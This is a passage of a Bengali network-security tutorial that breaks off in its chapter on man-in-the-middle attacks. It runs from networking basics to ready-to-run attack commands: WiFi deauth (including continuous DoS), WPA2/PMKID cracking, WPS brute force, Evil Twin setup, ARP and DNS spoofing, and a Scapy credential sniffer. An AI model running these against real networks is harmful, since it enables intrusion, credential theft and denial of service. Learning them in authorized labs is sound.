সাইবার সিকিউরিটির জন্য সম্পূর্ণ নেটওয়ার্ক গাইড

OSI Model থেকে WiFi Cracking পর্যন্ত — Network Security শেখার একমাত্র সম্পূর্ণ বাংলা রিসোর্স। এই গাইড পড়লে আর কোনো বই বা কোর্সের দরকার নেই।

📋 সূচিপত্র

01. Network Fundamentals — OSI ও TCP/IP

OSI 7 Layer, TCP/IP, Protocols, Ports, IP Addressing, Subnetting

02. Network Reconnaissance

Nmap, Passive Recon, OSINT, DNS Enumeration, Service Detection

03. Wireless Security Protocols

WEP, WPA, WPA2, WPA3, 802.11 Standards, Encryption Mechanisms

04. Wireless Attacks

Monitor Mode, Handshake Capture, Deauth, Evil Twin, WPS Attack

05. Packet Sniffing ও Analysis

Wireshark, tcpdump, Scapy, Traffic Analysis, Credential Capture

06. MITM — Man-in-the-Middle

ARP Spoofing, DNS Spoofing, SSL Strip, Bettercap

07. Network Service Attacks

FTP/SSH/Telnet/SMB/RDP Brute Force, Exploitation

08. Firewall ও IDS Evasion

Firewall Rules, Port Knocking, Tunneling, Fragmentation

09. VPN ও Tunneling

SSH Tunneling, Proxychains, Tor, OpenVPN, WireGuard

10. Network Defense ও Hardening

Firewall Setup, IDS/IPS, Network Segmentation, WiFi Hardening

11. Tools Reference

Nmap, Wireshark, Aircrack-ng, Bettercap, Metasploit, netdiscover

12. Real-World Lab Scenarios

Home Lab Setup, Practice Networks, CTF Network Challenges

CHAPTER 01

🌐 Network Fundamentals — OSI ও TCP/IP

Network hacking বুঝতে হলে এই foundation টা জানতেই হবে

🏗️ OSI Model — ৭ Layer

OSI (Open Systems Interconnection) Model হলো network communication-এর theoretical framework। প্রতিটা layer-এ আলাদা attack করা যায়। Security professional হিসেবে প্রতিটা layer জানা বাধ্যতামূলক।

7	**Application**	HTTP, HTTPS, FTP, SSH, DNS, SMTP, SNMP
6	**Presentation**	SSL/TLS, Encryption, Encoding (ASCII, JPEG)
5	**Session**	NetBIOS, RPC, Session management
4	**Transport**	TCP (reliable), UDP (fast), Port numbers
3	**Network**	IP, ICMP, OSPF, BGP — Routing
2	**Data Link**	Ethernet, MAC address, ARP, Switch
1	**Physical**	Cables, WiFi signals, Hub, Repeater

⚔️ **Layer-এ Attack**

- **L7:** SQL Injection, XSS, DNS Poison
- **L6:** SSL Strip, Certificate Spoof
- **L5:** Session Hijack
- **L4:** SYN Flood, Port Scan
- **L3:** IP Spoofing, ICMP Flood

- **L2:** ARP Spoof, MAC Flood
- **L1:** Physical Tap, Jamming

🛡️ **Layer-এ Defense**

- **L7:** WAF, Input Validation
- **L6:** Strong TLS (1.3), HSTS
- **L5:** Session Timeout, Re-auth
- **L4:** Rate Limiting, Firewall
- **L3:** Ingress Filtering, ACL
- **L2:** DAI, Port Security
- **L1:** Physical Security

🔄 TCP/IP Model ও Protocols

Layer	Protocol	Port	কাজ	Attack Vector
Application	HTTP	80	Web traffic	Sniffing, SQLi, XSS
Application	HTTPS	443	Encrypted web	SSL Strip, Cert spoof
Application	FTP	21	File transfer	Brute force, Sniff
Application	SSH	22	Secure shell	Brute force, Key theft
Application	Telnet	23	Remote shell (insecure)	Plaintext sniffing
Application	DNS	53	Name resolution	DNS Spoofing, Cache Poison
Application	SMTP	25	Email send	Relay abuse, Phishing
Application	SMB	445	File sharing (Windows)	EternalBlue, Pass-the-Hash
Application	RDP	3389	Remote Desktop	Brute force, BlueKeep

Layer	Protocol	Port	কাজ	Attack Vector
Transport	TCP	—	Reliable connection	SYN flood, RST inject
Transport	UDP	—	Fast, connectionless	UDP flood, Amplification
Network	ICMP	—	Ping, Error messages	Ping flood, Smurf attack
Network	ARP	—	IP→MAC resolution	ARP Spoofing (MITM)

🔢 IP Addressing ও Subnetting

```
# IP Address Classes
Class A: 1.0.0.0   - 126.255.255.255  (Large networks)
Class B: 128.0.0.0 - 191.255.255.255  (Medium networks)
Class C: 192.0.0.0 - 223.255.255.255  (Small networks)

# Private IP Ranges (RFC 1918)
10.0.0.0/8       # Class A private — 10.x.x.x
172.16.0.0/12    # Class B private — 172.16.x.x to 172.31.x.x
192.168.0.0/16   # Class C private — 192.168.x.x (home networks)

# Subnet Mask চেনা
/24  = 255.255.255.0    → 254 hosts  (192.168.1.0/24)
/16  = 255.255.0.0      → 65534 hosts
/8   = 255.0.0.0        → 16777214 hosts
/30  = 255.255.255.252  → 2 hosts (point-to-point links)

# নিজের IP/Network বের করো
$ ip addr show
$ ip route show
$ hostname -I

# Network range calculate করো (Python)
import ipaddress
net = ipaddress.ip_network("192.168.1.0/24")
print(f"Network:   {net.network_address}")
print(f"Broadcast: {net.broadcast_address}")
```

```
print(f"Hosts:     {net.num_addresses - 2}")
for ip in list(net.hosts())[:5]:
    print(ip)
```

🤝 TCP Three-Way Handshake

TCP connection এই 3-step process-এ establish হয়। Port scanner এবং firewall bypass বুঝতে এটা জানা অপরিহার্য।

```
Client                    Server
  |                          |
  |  ── SYN ──────────────→  |   Client: "সংযোগ করতে চাই" (seq=100)
  |  ←── SYN-ACK ──────────  |   Server: "ঠিক আছে, তুমি কি ready?" (seq=200, ack=101)
  |  ── ACK ──────────────→  |   Client: "হ্যাঁ, ready!" (ack=201)
  |                          |
  |  [Connection Established]|

# Port Scanner এই principle ব্যবহার করে:
# SYN পাঠাও → SYN-ACK পেলে = OPEN
# SYN পাঠাও → RST পেলে   = CLOSED
# SYN পাঠাও → No reply   = FILTERED (firewall)

# Nmap SYN scan (stealth — 3rd step complete করে না)
$ nmap -sS target_ip   # SYN scan (root needed)
$ nmap -sT target_ip   # Full TCP connect scan
$ nmap -sU target_ip   # UDP scan
```

📋 Important Network Commands

```
# Network interface দেখো
$ ip addr show          # IP addresses
$ ip link show          # Interface status
$ ifconfig              # Legacy (এখনও কাজ করে)
$ iwconfig              # Wireless interfaces

# Routing table
$ ip route show
```

```
$ route -n

# Active connections ও ports
$ ss -tlnp              # Listening TCP ports
$ ss -tulnp             # TCP + UDP
$ netstat -tulnp        # Legacy netstat

# ARP table (MAC addresses)
$ arp -a
$ ip neigh show

# DNS lookup
$ nslookup google.com
$ dig google.com A
$ dig google.com MX
$ host google.com

# Connectivity test
$ ping -c 4 8.8.8.8
$ traceroute 8.8.8.8    # Route trace
$ mtr 8.8.8.8           # Live traceroute

# Firewall rules দেখো
$ iptables -L -n -v
$ nft list ruleset      # nftables (modern)
```

✅ Chapter 1 Summary

✓ OSI 7 layer ও প্রতিটায় কী attack হয় — জানো

✓ TCP/IP protocols ও ports মুখস্থ করো

✓ IP addressing, subnet calculation — practice করো

✓ TCP 3-way handshake — port scanning-এর ভিত্তি

✓ Basic Linux network commands — daily use করো

CHAPTER 02

🔍 Network Reconnaissance

Target সম্পর্কে তথ্য সংগ্রহের সম্পূর্ণ পদ্ধতি

🗺 Reconnaissance Types

👁 Passive Recon

Target-এ কোনো packet না পাঠিয়ে তথ্য সংগ্রহ। Target জানতে পারে না।

- WHOIS lookup
- DNS enumeration
- Google Dorking
- Shodan search
- Social media OSINT

⚡ Active Recon

Target-এ packet পাঠিয়ে তথ্য সংগ্রহ। IDS/firewall log হতে পারে।

- Port scanning (Nmap)
- Ping sweep
- Banner grabbing
- Service detection
- OS fingerprinting

🗺 Nmap — The King of Scanners

```
# ═══ HOST DISCOVERY ═══
$ nmap -sn 192.168.1.0/24           # Ping sweep (live hosts)
$ nmap -sn -PS22,80,443 10.0.0.0/24 # TCP SYN ping
$ nmap -PR 192.168.1.0/24            # ARP ping (local network)

# ═══ PORT SCANNING ═══
$ nmap 192.168.1.1                   # Top 1000 ports
$ nmap -p- 192.168.1.1               # All 65535 ports
$ nmap -p 22,80,443,3306 192.168.1.1 # Specific ports
$ nmap -p 1-1024 192.168.1.1         # Port range

# ═══ SCAN TYPES ═══
$ nmap -sS 192.168.1.1  # SYN scan (stealth, root)
$ nmap -sT 192.168.1.1  # TCP connect (no root needed)
$ nmap -sU 192.168.1.1  # UDP scan
$ nmap -sA 192.168.1.1  # ACK scan (firewall mapping)
$ nmap -sN 192.168.1.1  # NULL scan (no flags)
$ nmap -sX 192.168.1.1  # Xmas scan (FIN+PSH+URG)
$ nmap -sF 192.168.1.1  # FIN scan

# ═══ SERVICE & VERSION DETECTION ═══
$ nmap -sV 192.168.1.1              # Service version
$ nmap -sV --version-intensity 9    # Aggressive version detect
$ nmap -O 192.168.1.1               # OS detection
$ nmap -A 192.168.1.1               # All: OS+version+script+traceroute

# ═══ NSE SCRIPTS ═══
$ nmap --script=banner 192.168.1.1           # Banner grabbing
$ nmap --script=vuln 192.168.1.1             # Vulnerability scan
$ nmap --script=http-enum 192.168.1.1        # HTTP enumeration
$ nmap --script=smb-vuln* 192.168.1.1        # SMB vulnerabilities
$ nmap --script=ftp-anon 192.168.1.1         # Anonymous FTP
$ nmap --script=ssh-brute 192.168.1.1        # SSH brute force
$ nmap --script=dns-brute domain.com         # DNS brute force

# ═══ SPEED & TIMING ═══
$ nmap -T0 target  # Paranoid (very slow, IDS evasion)
$ nmap -T1 target  # Sneaky
$ nmap -T2 target  # Polite
$ nmap -T3 target  # Normal (default)
$ nmap -T4 target  # Aggressive (fast)
```

```
$ nmap -T5 target  # Insane (very fast, may miss)

# ═══ EVASION ═══
$ nmap -D RND:10 192.168.1.1        # Decoy scan
$ nmap -S spoofed_ip 192.168.1.1    # Source IP spoof
$ nmap -f target                     # Fragment packets
$ nmap --data-length 200 target      # Random data padding

# ═══ OUTPUT ═══
$ nmap -oN scan.txt target           # Normal output
$ nmap -oX scan.xml target           # XML output
$ nmap -oG scan.grep target          # Grepable output
$ nmap -oA scan target               # All formats
```

🔎 DNS Enumeration

```
# Basic DNS lookup
$ dig target.com ANY         # All records
$ dig target.com A           # IPv4 address
$ dig target.com AAAA        # IPv6 address
$ dig target.com MX          # Mail server
$ dig target.com NS          # Name servers
$ dig target.com TXT         # SPF, DKIM, verification
$ dig target.com SOA         # Start of authority
$ dig -x 8.8.8.8             # Reverse lookup (PTR)

# Zone Transfer চেষ্টা (misconfigured DNS)
$ dig axfr target.com @ns1.target.com
$ host -l target.com ns1.target.com

# Subdomain Brute Force
$ gobuster dns -d target.com -w /usr/share/wordlists/subdomains.txt
$ dnsenum target.com
$ dnsrecon -d target.com -t brt -D /usr/share/wordlists/subdomains.txt
$ amass enum -d target.com   # Passive + active

# Fierce — automated DNS recon
$ fierce --domain target.com
```

🌐 Network Discovery Tools

```
# netdiscover — ARP based host discovery
$ netdiscover -r 192.168.1.0/24        # Active scan
$ netdiscover -p                        # Passive (just listen)
$ netdiscover -i eth0 -r 10.0.0.0/24

# arp-scan
$ arp-scan --localnet
$ arp-scan -I eth0 192.168.1.0/24

# masscan — ultra-fast internet scanner
$ masscan -p80,443 192.168.1.0/24 --rate=1000
$ masscan -p0-65535 10.0.0.0/8 --rate=10000

# nbtscan — NetBIOS scan (Windows networks)
$ nbtscan 192.168.1.0/24

# Shodan CLI (internet-wide)
$ shodan search "apache 2.4" country:BD
$ shodan host 8.8.8.8
$ shodan search port:22 default password
```

✅ Chapter 2 Summary

✓ Passive vs Active recon — কখন কোনটা ব্যবহার করবে

✓ Nmap-এর সব important flag মুখস্থ করো

✓ DNS zone transfer — misconfigured server থেকে সব subdomain

✓ netdiscover/arp-scan — local network-এ live host বের করো

CHAPTER 03

📶 Wireless Security Protocols

WEP থেকে WPA3 — WiFi encryption-এর সম্পূর্ণ ইতিহাস ও দুর্বলতা

📡 802.11 WiFi Standards

Standard	Name	Frequency	Max Speed	Range
802.11b	WiFi 1	2.4 GHz	11 Mbps	35m indoor
802.11a	WiFi 2	5 GHz	54 Mbps	35m indoor
802.11g	WiFi 3	2.4 GHz	54 Mbps	38m indoor
802.11n	WiFi 4	2.4/5 GHz	600 Mbps	70m indoor
802.11ac	WiFi 5	5 GHz	3.5 Gbps	35m indoor
802.11ax	WiFi 6	2.4/5/6 GHz	9.6 Gbps	Indoor+outdoor

🔒 WEP — Wired Equivalent Privacy (ভেঙে পড়া)

WEP ছিল WiFi-এর প্রথম security standard (1997)। এটা RC4 cipher ব্যবহার করে কিন্তু IV (Initialization Vector) মাত্র 24-bit — ফলে same IV repeat হয় এবং পুরো encryption ভেঙে পড়ে।

❌ **WEP-এর দুর্বলতা**

- IV মাত্র 24-bit — collision inevitable
- Static key — একবার জানলে সব decrypt
- RC4 keystream reuse vulnerability

- ~50,000 packets দিয়েই crack করা যায়
- aircrack-ng দিয়ে মিনিটের মধ্যে crack

🔧 **WEP Crack Tool**

- `aircrack-ng` — primary tool
- `aireplay-ng` — packet injection
- `airodump-ng` — capture
- আজকাল WEP নেটওয়ার্ক প্রায় নেই
- ⛔ **2003 থেকে deprecated**

🔐 WPA — WiFi Protected Access

WPA (2003) WEP-এর জায়গায় এলো। TKIP (Temporal Key Integrity Protocol) ব্যবহার করে। প্রতিটা packet-এ আলাদা key generate হয়। কিন্তু এটাও WPA2 এর চেয়ে দুর্বল।

```
WPA Authentication Modes:

WPA-Personal (WPA-PSK)
  └─ Pre-Shared Key — home/small office
  └─ Password থেকে PMK (Pairwise Master Key) তৈরি হয়
  └─ 4-way handshake দিয়ে authenticate হয়
  └─ Handshake capture করে offline crack করা যায়

WPA-Enterprise (WPA-802.1X)
  └─ RADIUS server ব্যবহার করে
  └─ প্রতিটা user-এর আলাদা credential
  └─ Corporate networks-এ ব্যবহার হয়
  └─ Crack করা অনেক কঠিন

WPA Encryption:
  TKIP  → RC4-based, per-packet key mixing
  CCMP  → AES-based (optional in WPA, mandatory in WPA2)
```

🔒 WPA2 — Current Standard

WPA2 (2004) সবচেয়ে বেশি ব্যবহৃত WiFi security protocol। AES-CCMP encryption ব্যবহার করে যা অনেক শক্তিশালী। Primary attack vector হলো 4-way handshake capture করে offline dictionary/brute force attack।

```
WPA2 4-Way Handshake Process:

AP (Router)                    Client
    |                              |
    |  ←——— Association req ——— |  Client joins network
    |  ———  Association resp ——→ |
    |                              |
    |  —— MSG1: ANonce ————————→ |  AP sends random nonce
    |  ←—— MSG2: SNonce+MIC ——— |  Client sends nonce+MIC
    |  —— MSG3: GTK+MIC ————————→ |  AP sends group key
    |  ←—— MSG4: ACK ————————— |  Client confirms
    |                              |
    |  [Encrypted communication]   |

# Attack: MSG1+MSG2 (অথবা MSG2+MSG3) capture করলেই যথেষ্ট
# PTK (Pairwise Transient Key) = PBKDF2(PSK, SSID, ANonce, SNonce, MAC)
# MIC (Message Integrity Code) verify করে password সঠিক কিনা
```

> ℹ️ **PMKID Attack (2018):** Handshake capture ছাড়াই সরাসরি AP-এর PMKID থেকে password crack করা যায়। Client-এর উপস্থিতি লাগে না। hcxdumptool দিয়ে PMKID capture করো।

🛡️ WPA3 — Latest ও Most Secure

Feature	WPA2	WPA3
Key Exchange	PSK (4-way handshake)	SAE (Dragonfly) — dictionary attack resist
Forward Secrecy	❌ নেই	✅ আছে — পুরানো traffic safe
Offline Dictionary Attack	✅ সম্ভব	❌ সম্ভব না (online only)

Feature	WPA2	WPA3
PMKID Attack	✅ সম্ভব	❌ সম্ভব না
Open Network Encryption	❌ নেই	✅ OWE (Opportunistic Wireless Encryption)
Enterprise Encryption	128-bit	192-bit (CNSA suite)
Known Weakness	Handshake crack	Dragonblood (side-channel, পুরানো impl.)

🔑 WPS — WiFi Protected Setup

WPS একটা সহজ connection mechanism — 8-digit PIN দিয়ে connect করা যায়। কিন্তু PIN দুই ভাগে verify হয় (4+4 digit), তাই মাত্র 11,000 combination try করলেই PIN বের করা যায়।

```
# WPS PIN attack
$ wash -i wlan0mon                    # WPS-enabled networks খোঁজো
$ reaver -i wlan0mon -b BSSID -vv     # WPS PIN brute force
$ bully -b BSSID -e ESSID -c CH wlan0mon  # Alternative to reaver

# WPS Lock চেক (3 failed attempts = lock)
$ reaver -i wlan0mon -b BSSID -L      # Ignore locks
$ reaver -i wlan0mon -b BSSID -d 30   # 30s delay between attempts

# PixieDust Attack (offline WPS crack)
$ reaver -i wlan0mon -b BSSID -K 1    # Pixie mode
```

✅ Chapter 3 Summary

✓ WEP → RC4 + 24-bit IV → completely broken

✓ WPA → TKIP → handshake capture করে offline crack

✓ WPA2 → AES-CCMP → 4-way handshake + PMKID attack

✓ WPA3 → SAE → offline crack সম্ভব না

✓ WPS → 8-digit PIN → ~11,000 try-তেই crack

CHAPTER 04

⚔️ Wireless Attacks

Monitor Mode, Handshake Capture, Deauth, Evil Twin — সব Wireless Attack

🚨 **শুধুমাত্র নিজের network বা authorized lab-এ practice করো। অন্যের WiFi crack করা বাংলাদেশে ICT Act-এ অপরাধ।**

📡 Monitor Mode Setup

Monitor Mode মানে wireless adapter সব packets capture করতে পারে — শুধু নিজের network না। এটা enable না করলে WiFi attack করা যায় না।

```
# Compatible adapter দরকার (internal WiFi কাজ করে না)
# Recommended: Alfa AWUS036ACH, AWUS036NHA, TP-Link TL-WN722N

# Method 1: airmon-ng (সহজ)
$ airmon-ng check kill        # Conflicting processes kill করো
$ airmon-ng start wlan0        # Monitor mode ON → wlan0mon তৈরি হবে
$ airmon-ng stop wlan0mon      # Monitor mode OFF

# Method 2: iw (manual)
$ ip link set wlan0 down
$ iw dev wlan0 set type monitor
$ ip link set wlan0 up

# Method 3: iwconfig
$ ifconfig wlan0 down
$ iwconfig wlan0 mode monitor
$ ifconfig wlan0 up

# Verify করো
```

```
$ iwconfig wlan0mon
wlan0mon  IEEE 802.11  Mode:Monitor

# Specific channel-এ lock করো
$ iwconfig wlan0mon channel 6
$ iw dev wlan0mon set channel 6
```

🎯 airodump-ng — Network Discovery

```
# সব WiFi networks দেখো
$ airodump-ng wlan0mon

# Output এ কী দেখাবে:
 BSSID              PWR  Beacons  #Data  CH  MB  ENC  CIPHER AUTH ESSID
 AA:BB:CC:DD:EE:FF  -65      234     12   6  54  WPA2 CCMP   PSK  MyNetwork
 11:22:33:44:55:66  -80       45      0  11 130  WPA2 CCMP   PSK  Neighbor

# Specific network-এ focus করো
$ airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
#           channel↑  target BSSID↑            output file↑

# Output files তৈরি হবে:
# capture-01.cap    ← handshake এখানে থাকবে
# capture-01.csv    ← CSV data
# capture-01.kismet.netxml

# Connected clients দেখো
 STATION            PWR  Rate  Lost  Frames  Probe
 FF:EE:DD:CC:BB:AA  -55  54-54    0      45  MyNetwork
```

💥 Deauthentication Attack

Deauth attack-এ forged deauthentication frame পাঠিয়ে client-কে disconnect করা হয়। Client reconnect করার সময় 4-way handshake capture করা যায়।

```
# Deauth পাঠাও → client disconnect হবে → reconnect করবে → handshake capture হবে

# All clients-কে deauth করো
$ aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF wlan0mon
#          ↑deauth count  ↑target AP BSSID

# Specific client-কে deauth করো
$ aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF -c FF:EE:DD:CC:BB:AA wlan0mon
#                    ↑AP BSSID                ↑Client MAC

# Continuous deauth (DOS)
$ aireplay-ng -0 0 -a AA:BB:CC:DD:EE:FF wlan0mon
# 0 = infinite — client কখনো connect করতে পারবে না

# Terminal 1: airodump চালাও (capture mode)
$ airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w handshake wlan0mon

# Terminal 2: deauth পাঠাও
$ aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF wlan0mon

# Terminal 1-এ দেখবে:
WPA handshake: AA:BB:CC:DD:EE:FF
```

🔒 WPA2 Handshake Cracking

```
# Method 1: aircrack-ng (Dictionary attack)
$ aircrack-ng handshake-01.cap -w /usr/share/wordlists/rockyou.txt
$ aircrack-ng handshake-01.cap -w passwords.txt -e "NetworkName"

# Method 2: hashcat (GPU — much faster!)
# .cap → .hc22000 format convert
$ hcxpcapngtool -o hash.hc22000 handshake-01.cap

# hashcat দিয়ে crack
$ hashcat -m 22000 hash.hc22000 rockyou.txt
$ hashcat -m 22000 hash.hc22000 rockyou.txt -r rules/best64.rule
$ hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d  # 8-digit brute force
```

```
# Method 3: PMKID Attack (client না থাকলেও)
$ hcxdumptool -i wlan0mon -o pmkid.pcapng --enable_status=1
$ hcxpcapngtool -o hash.hc22000 pmkid.pcapng
$ hashcat -m 22000 hash.hc22000 rockyou.txt

# Custom wordlist তৈরি
$ crunch 8 8 0123456789 -o 8digit.txt       # 8-digit numbers
$ crunch 8 10 abcdefghijklmnopqrstuvwxyz     # Lowercase 8-10 chars

# hashcat masks
# ?l = lowercase  ?u = uppercase  ?d = digit  ?s = special
$ hashcat -m 22000 hash.hc22000 -a 3 ?l?l?l?l?d?d?d?d  # 4 letters + 4 digits
```

😈 Evil Twin Attack

Evil Twin মানে victim network-এর নামে একটা fake AP তৈরি করা। Victim connect করলে তার traffic আমাদের দিয়ে যাবে।

```
# hostapd দিয়ে fake AP তৈরি
# /etc/hostapd/fake.conf
interface=wlan0
driver=nl80211
ssid=FreeWiFi           # Target network-এর নাম
hw_mode=g
channel=6
auth_algs=1
ignore_broadcast_ssid=0

$ hostapd /etc/hostapd/fake.conf

# DHCP server setup (dnsmasq)
$ dnsmasq --interface=wlan0 --dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h \
          --no-resolv --server=8.8.8.8

# IP Forwarding enable করো
$ echo 1 > /proc/sys/net/ipv4/ip_forward
$ iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

# Automated: hostapd-wpe (WPA Enterprise attack)
$ hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf
```

```
# airbase-ng দিয়ে (simpler)
$ airbase-ng -a AA:BB:CC:DD:EE:FF -e "TargetSSID" -c 6 wlan0mon
```

🔧 Wireless Attack Toolkit Summary

Tool	কাজ	Command
airmon-ng	Monitor mode	`airmon-ng start wlan0`
airodump-ng	Network scan ও capture	`airodump-ng wlan0mon`
aireplay-ng	Packet injection, deauth	`aireplay-ng -0 5 -a BSSID wlan0mon`
aircrack-ng	WEP/WPA crack (CPU)	`aircrack-ng cap.cap -w wordlist`
hashcat	WPA crack (GPU, fast)	`hashcat -m 22000 hash rockyou.txt`
hcxdumptool	PMKID capture	`hcxdumptool -i wlan0mon -o out.pcapng`
reaver	WPS PIN attack	`reaver -i wlan0mon -b BSSID -vv`
wash	WPS enabled AP খোঁজো	`wash -i wlan0mon`
wifite	Automated WiFi attack	`wifite`
fern-wifi-cracker	GUI WiFi cracker	`fern-wifi-cracker`

✅ Chapter 4 Summary

✓ Monitor mode = wireless attack-এর প্রথম ধাপ

✓ airodump-ng দিয়ে scan → aireplay-ng দিয়ে deauth → handshake capture

✓ aircrack-ng (CPU) vs hashcat (GPU) — hashcat অনেক দ্রুত

✓ PMKID attack = client ছাড়াই WPA2 crack

✓ WPS attack = ~11,000 try-তেই PIN বের হয়

✓ Evil Twin = fake AP দিয়ে victim-এর traffic intercept

CHAPTER 05

👃 Packet Sniffing ও Analysis

Wireshark, tcpdump, Scapy — Network traffic দেখা ও বিশ্লেষণ

🦈 Wireshark — GUI Packet Analyzer

```
# Wireshark start করো
$ wireshark &
$ wireshark -i eth0 &          # Specific interface
$ wireshark -r capture.pcap &  # Saved file open

═══ DISPLAY FILTERS (সবচেয়ে গুরুত্বপূর্ণ) ═══

# Protocol filter
http             # শুধু HTTP traffic
dns              # শুধু DNS queries
tcp              # শুধু TCP
udp              # শুধু UDP
icmp             # ICMP (ping)
arp              # ARP packets
ssl or tls       # Encrypted traffic
ftp              # FTP
ssh              # SSH
smb              # SMB file sharing

# IP filter
ip.addr == 192.168.1.1            # Specific IP (src বা dst)
ip.src == 192.168.1.100           # Source IP
ip.dst == 8.8.8.8                 # Destination IP
ip.addr == 192.168.1.0/24         # Entire subnet

# Port filter
tcp.port == 80                    # TCP port 80
```

```
tcp.dstport == 443                # Destination port
tcp.port == 22 or tcp.port == 80  # Multiple ports

# Content filter
http.request.method == "POST"     # HTTP POST শুধু
http.request.uri contains "login" # URL-এ login আছে
frame contains "password"        # Packet-এ password শব্দ
dns.qry.name contains "google"   # DNS query

# Combination
http and ip.src == 192.168.1.100
tcp.port == 80 and !ip.addr == 192.168.1.1
http.request.method == "POST" and http contains "password"
```

tcpdump — CLI Packet Capture

```
# Basic capture
$ tcpdump -i eth0                  # eth0-এ capture
$ tcpdump -i any                   # সব interface
$ tcpdump -i eth0 -w output.pcap   # File-এ save
$ tcpdump -r output.pcap           # File থেকে read
$ tcpdump -i eth0 -n               # DNS resolve না করে
$ tcpdump -i eth0 -v               # Verbose
$ tcpdump -i eth0 -X               # Hex+ASCII dump
$ tcpdump -i eth0 -c 100           # 100 packet capture করে বন্ধ

# BPF Filters
$ tcpdump -i eth0 host 192.168.1.1           # Specific host
$ tcpdump -i eth0 src 192.168.1.100          # Source IP
$ tcpdump -i eth0 dst 8.8.8.8               # Dest IP
$ tcpdump -i eth0 port 80                   # Port 80
$ tcpdump -i eth0 tcp port 443              # TCP port 443
$ tcpdump -i eth0 udp port 53               # DNS
$ tcpdump -i eth0 net 192.168.1.0/24        # Subnet
$ tcpdump -i eth0 'tcp[tcpflags] == tcp-syn' # SYN packets only
$ tcpdump -i eth0 not port 22               # SSH বাদে সব
$ tcpdump -i eth0 port 80 or port 443       # HTTP + HTTPS

# HTTP credentials capture (unencrypted)
```

```
$ tcpdump -i eth0 -A port 80 | grep -E "username|password|pass|login"

# Live display + save
$ tcpdump -i eth0 -w - | tee output.pcap | tcpdump -r -
```

🐍 Scapy দিয়ে Packet Analysis

```
from scapy.all import *

# Live sniff করো
def packet_handler(pkt):
    if pkt.haslayer(IP):
        src = pkt[IP].src
        dst = pkt[IP].dst

        # HTTP POST → credentials চুরি
        if pkt.haslayer(TCP) and pkt.haslayer(Raw):
            payload = pkt[Raw].load.decode('utf-8', errors='ignore')
            keywords = ['password', 'passwd', 'user', 'login', 'pwd']
            if any(kw in payload.lower() for kw in keywords):
                print(f"\n[!] CREDENTIALS from {src}:")
                print(payload[:300])

        # DNS queries log
        if pkt.haslayer(DNS) and pkt[DNS].qr == 0:
            query = pkt[DNS].qd.qname.decode('utf-8', errors='ignore')
            print(f"[DNS] {src} → {query}")

sniff(iface="eth0", prn=packet_handler, store=0,
      filter="tcp port 80 or udp port 53")

# .pcap file analyze করো
packets = rdpcap("capture.pcap")
print(f"Total packets: {len(packets)}")

# HTTP GET requests বের করো
for pkt in packets:
    if pkt.haslayer(Raw):
        payload = pkt[Raw].load.decode('utf-8', errors='ignore')
```

```
        if 'GET ' in payload or 'POST ' in payload:
            print(f"[HTTP] {payload[:100]}")
```

🔍 Wireshark Forensics — Real Scenarios

```
═══ Scenario 1: HTTP Credentials বের করো ═══
Filter: http.request.method == "POST"
→ Packet → Follow → HTTP Stream
→ username=admin&password=secret দেখতে পাবে

═══ Scenario 2: DNS Exfiltration দেখো ═══
Filter: dns.qry.name contains "suspicious.com"
→ আসামান্য অনেক DNS query = data exfiltration

═══ Scenario 3: Port Scan Detect করো ═══
Filter: tcp.flags.syn == 1 and tcp.flags.ack == 0
→ একই source থেকে অনেক SYN = port scan

═══ Scenario 4: FTP Credentials ═══
Filter: ftp
→ USER এবং PASS command plaintext-এ দেখাবে

═══ Scenario 5: Telnet Session ═══
Filter: telnet
→ Follow TCP Stream → সব keystrokes দেখবে

═══ Useful Wireshark Statistics ═══
Statistics → Protocol Hierarchy     → কোন protocol কতটুকু
Statistics → Conversations          → কে কার সাথে কথা বলছে
Statistics → Endpoints              → সব IP/MAC list
Statistics → IO Graphs              → Traffic graph
Analyze    → Expert Information     → Errors/warnings
```

✅ Chapter 5 Summary

✓ Wireshark display filter জানলে যেকোনো traffic analyze করা যায়

✓ tcpdump = server-এ headless capture-এর জন্য

✓ HTTP traffic-এ credentials plaintext-এ দেখা যায়

✓ DNS queries দিয়ে কার কাছে যাচ্ছে বোঝা যায়

✓ Scapy দিয়ে custom packet analysis automate করো

CHAPTER 06

🎭 MITM — Man-in-the-Middle

ARP Spoofing, DNS Spoofing, SSL Strip, Bettercap দিয়ে MITM

🤔 MITM Attack কীভাবে কাজ করে?

Normal এ: Client → Router → Internet। MITM-এ: Client → Attacker → Router → Internet। Attacker মাঝখানে থেকে সব traffic দেখতে ও পরিবর্তন করতে পারে।

□ ARP Spoofing — MITM-এর ভিত্তি

```
# arp-spoof দিয়ে (arpspoof package)
# Terminal 1: IP Forwarding enable করো
$ echo 1 > /proc/sys/net/ipv4/ip_forward

# Terminal 2: Victim-কে বলো "Gateway আমি"
$ arpspoof -i eth0 -t 192.168.1.50 192.168.1.1
#              ↑interface  ↑victim    ↑gateway

# Terminal 3: Gateway-কে বলো "Victim আমি"
$ arpspoof -i eth0 -t 192.168.1.1 192.168.1.50

# Terminal 4: Victim-এর traffic capture করো
$ wireshark -i eth0 &
# অথবা
$ tcpdump -i eth0 host 192.168.1.50 -w victim.pcap
```

⚡ Bettercap — Modern MITM Framework

```
# Install
$ apt install bettercap
$ bettercap -h

# Interactive mode
$ bettercap -iface eth0

━━ Bettercap Commands ━━

# Network discovery
bettercap> net.probe on         # Network scan start
bettercap> net.show             # সব hosts দেখো

# ARP Spoofing
bettercap> set arp.spoof.targets 192.168.1.50   # Victim IP
bettercap> arp.spoof on                          # Attack start

# HTTP/HTTPS sniffer
bettercap> http.proxy on        # HTTP proxy intercept
bettercap> https.proxy on       # HTTPS (SSL strip)

# Credential sniffer
bettercap> net.sniff on         # Packet sniffing
bettercap> set net.sniff.verbose true

# DNS Spoofing
bettercap> set dns.spoof.domains facebook.com,google.com
bettercap> set dns.spoof.address 192.168.1.10   # Fake server IP
bettercap> dns.spoof on

# WiFi reconnaissance
bettercap> wifi.recon on        # WiFi scan
bettercap> wifi.show            # Networks দেখো
bettercap> wifi.deauth AA:BB:CC:DD:EE:FF  # Deauth

# Caplet (automated script)
